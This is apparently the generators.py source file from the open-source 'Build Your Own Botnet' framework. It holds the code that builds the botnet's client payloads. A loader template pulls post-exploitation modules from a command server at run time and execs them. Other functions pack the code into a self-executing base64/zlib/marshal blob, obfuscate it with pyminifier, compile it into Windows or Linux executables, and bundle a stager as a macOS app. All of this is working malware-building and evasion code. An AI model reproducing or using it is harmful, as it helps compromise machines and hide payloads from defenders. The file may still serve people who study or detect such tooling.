Path: blob/master/web-gui/buildyourownbotnet/core/generators.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Build Your Own Botnet'34# standard library5import os6import sys7import time8import zlib9import json10import shutil11import base6412import string13import random14import marshal15import tempfile16import subprocess1718# modules19from buildyourownbotnet.core import util2021# templates22template_main = string.Template("""23if __name__ == '__main__':24_${VARIABLE} = ${FUNCTION}(${OPTIONS})25""")2627template_load = string.Template("""28# remotely import dependencies from server2930packages = ${PACKAGES}31packages_tmp = ${PACKAGES}3233for package in packages_tmp:34try:35exec("import %s" % package, globals())36packages.remove(package)37except: pass3839with remote_repo(packages, base_url=${BASE_URL}):40for package in packages:41try:42exec("import %s" % package, globals())43except: pass44""")4546template_plist = string.Template("""<?xml version="1.0" encoding="UTF-8"?>47<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">48<plist version="1.0">49<dict>50<key>CFBundleDevelopmentRegion</key>51<string>English</string>52<key>CFBundleExecutable</key>53<string>${BASE_NAME}</string>54<key>CFBundleGetInfoString</key>55<string>${BUNDLE_VERSION}</string>56<key>CFBundleIconFile</key>57<string>${ICON_PATH}</string>58<key>CFBundleIdentifier</key>59<string>${BUNDLE_ID}}</string>60<key>CFBundleInfoDictionaryVersion</key>61<string>6.0</string>62<key>CFBundleName</key>63<string>${BUNDLE_NAME}</string>64<key>CFBundlePackageType</key>65<string>APPL</string>66<key>CFBundleShortVersionString</key>67<string>${BUNDLE_VERSION}</string>68<key>CFBundleSignature</key>69<string>????</string>70<key>CFBundleVersion</key>71<string>${VERSION}</string>72<key>NSAppleScriptEnabled</key>73<string>YES</string>74<key>NSMainNibFile</key>75<string>MainMenu</string>76<key>NSPrincipalClass</key>77<string>NSApplication</string>78</dict>79</plist>80""")8182template_spec = string.Template("""# -*- mode: python -*-83block_cipher = None84a = Analysis([${BASENAME}],85pathex=[${PATH}],86binaries=[],87datas=[],88hiddenimports=${IMPORTS},89hookspath=[],90runtime_hooks=[],91excludes=['site'],92win_no_prefer_redirects=False,93win_private_assemblies=False,94cipher=block_cipher)95pyz = PYZ(a.pure, a.zipped_data,96cipher=block_cipher)97exe = EXE(pyz,98a.scripts,99a.binaries,100a.zipfiles,101a.datas,102name=${NAME},103debug=True,104strip=False,105upx=False,106runtime_tmpdir=None,107console=True, icon=${ICON})108""")109110111# main112def compress(input):113"""114Zip-compress output into self-executing script115116`Requires`117:param str input: input code to compress118119Returns compressed output as a string120121"""122return "import zlib,base64,marshal;exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))".format(repr(base64.b64encode(zlib.compress(marshal.dumps(compile(input, '', 'exec')), 9))))123124125def obfuscate(input):126"""127Obfuscate and minimize memory footprint of output128129`Requires`130:param str input: input code to obfuscate131132Returns obfuscated output as a string133134"""135if os.path.isfile(input):136input = open(input, 'r').read()137temp = tempfile.NamedTemporaryFile(suffix='.py', delete=False)138temp.file.write(input)139temp.file.close()140name = os.path.join(tempfile.gettempdir(), temp.name)141obfs = subprocess.Popen('pyminifier -o {} --obfuscate-classes --obfuscate-variables --replacement-length=1 {}'.format(name, name), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True)142obfs.wait()143output = open(name, 'r').read().replace('# Created by pyminifier (https://github.com/liftoff/pyminifier)', '')144os.remove(name)145return output146147148def variable(length=6):149"""150Generate a random alphanumeric variable name of given length151152`Optional`153:param int length: length of the variable name to generate154155Returns variable as a string156157"""158return random.choice([chr(n) for n in range(97,123)]) + ''.join(random.choice([chr(n) for n in range(97,123)] + [chr(i) for i in range(48,58)] + [chr(i) for i in range(48,58)] + [chr(z) for z in range(65,91)]) for x in range(int(length)-1))159160161def main(function, *args, **kwargs):162"""163Generate a simple code snippet to initialize a script164165if __name__ == "__main__":166_function = Function(*args, **kwargs)167168`Required`169:param str funciton: function name170171`Optional`172:param tuple args: positional arguments173:param dict kwargs: keyword arguments174175Returns code snippet as a string176177"""178global template_main179options = list(args)180for k,v in kwargs.items():181if not v:182continue183k, v = str(k), str(v)184options.append("{}='{}'".format(k,v))185options = ', '.join(options)186return template_main.substitute(VARIABLE=function.lower(), FUNCTION=function, OPTIONS=options)187188189def loader(host='127.0.0.1', port=1337, packages=[]):190"""191Generate loader code which remotely imports the192payload dependencies and post-exploitation modules193194`Required`195:param str host: server IP address196:param int port: server port number197198`Optional`199:param list imports: package/modules to remotely import200201"""202global template_load203base_url = 'http://{}:{}'.format(host, port)204return template_load.substitute(PACKAGES=repr(packages), BASE_URL=repr(base_url))205206207def freeze(filename, icon=None, hidden=None, owner=None, operating_system=None, architecture=None):208"""209Compile a Python file into a standalone executable210binary with a built-in Python interpreter211212`Required`213:param str icon: icon image filename214:param str filename: target filename215216Returns output filename as a string217218"""219global template_spec220221# remember current working directory to return later222original_dir = os.getcwd()223224basename = os.path.basename(filename)225name = os.path.splitext(basename)[0]226path = os.path.splitdrive(os.path.abspath('.'))[1].replace('\\','/')227228# add user/owner output path if provided229if owner:230path = path + '/output/' + owner + '/src'231232key = ''.join([random.choice([chr(i) for i in list(range(48,91)) + list(range(97,123))]) for _ in range(16)])233234imports = ['imp']235with open(filename) as import_file:236for potental_import in filter(None, (PI.strip().split() for PI in import_file)):237if potental_import[0] == 'import':238imports.append(potental_import[1].split(';')[0].split(','))239240bad_imports = set()241bad_imports.add('core')242for i in os.listdir('core'):243i = os.path.splitext(i)[0]244bad_imports.add(i)245bad_imports.add('core.%s' % i)246247for imported in imports:248if isinstance(imported, list):249__ = imports.pop(imports.index(imported))250for ___ in __:251if ___ not in bad_imports:252imports.append(___)253254imports = list(set(imports))255if isinstance(hidden, list):256imports.extend(hidden)257258# hacky fix https://stackoverflow.com/questions/61574984/no-module-named-pkg-resources-py2-warn-pyinstaller259imports.append('pkg_resources.py2_warn')260261spec = template_spec.substitute(BASENAME=repr(basename), PATH=repr(path), IMPORTS=imports, NAME=repr(name), ICON=repr(icon))262fspec = os.path.join(path, name + '.spec')263264with open(fspec, 'w') as fp:265fp.write(spec)266267# copy requirements to268shutil.copy('requirements_client.txt', path + '/requirements.txt')269270# cd into user's src directory (limitation of pyinstaller docker)271os.chdir(path)272273# cross-compile executable for the specified os/arch using pyinstaller docker containers274process = subprocess.Popen('docker run -v "$(pwd):/src/" {docker_container}'.format(275src_path=os.path.dirname(path),276docker_container=operating_system + '-' + architecture),2770, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE,278cwd=path,279shell=True)280281start_time = time.time()282283# wait for compilation to finish or hit 10 minute time limit284while True:285try:286line = process.stderr.readline().rstrip()287except:288break289if line.strip() != None:290util.display(line, color='reset', style='dim')291line = line.decode('utf-8')292if 'EXE' in line and 'complete' in line:293break294time.sleep(0.25)295296if (time.time() - start_time > 600):297raise RuntimeError("Timeout or out of memory")298299output = os.path.join(path, 'dist', 'windows/{0}.exe'.format(name) if operating_system == 'win' else 'linux/{0}'.format(name))300301# remove temporary files (.py, .spec)302os.remove(basename)303os.remove(name + '.spec')304305# return to original directory306os.chdir(original_dir)307308return output309310311def app(filename, icon=None):312"""313Bundle the Python stager file into a Mac OS X application314315`Required`316:param str icon: icon image filename317:param str filename: target filename318319Returns output filename as a string320"""321global template_plist322version = '%d.%d.%d' % (random.randint(0,3), random.randint(0,6), random.randint(1, 9))323baseName = os.path.basename(filename)324bundleName = os.path.splitext(baseName)[0]325appPath = os.path.join(os.getcwd(), '{}.app'.format(bundleName))326basePath = os.path.join(appPath, 'Contents')327distPath = os.path.join(basePath, 'MacOS')328rsrcPath = os.path.join(basePath, 'Resources')329pkgPath = os.path.join(basePath, 'PkgInfo')330plistPath = os.path.join(rsrcPath, 'Info.plist')331iconPath = os.path.basename(icon) if icon else ''332executable = os.path.join(distPath, filename)333bundleVersion = bundleName + ' ' + version334bundleIdentity = 'com.' + bundleName335infoPlist = template_plist.substitute(BASE_NAME=baseName, BUNDLE_VERSION=bundleVersion, ICON_PATH=iconPath, BUNDLE_ID=bundleIdentity, BUNDLE_NAME=bundleName, VERSION=version)336os.makedirs(distPath)337os.mkdir(rsrcPath)338with open(pkgPath, "w") as fp:339fp.write("APPL????")340with open(plistPath, "w") as fw:341fw.write(infoPlist)342os.rename(filename, os.path.join(distPath, baseName))343return appPath344345346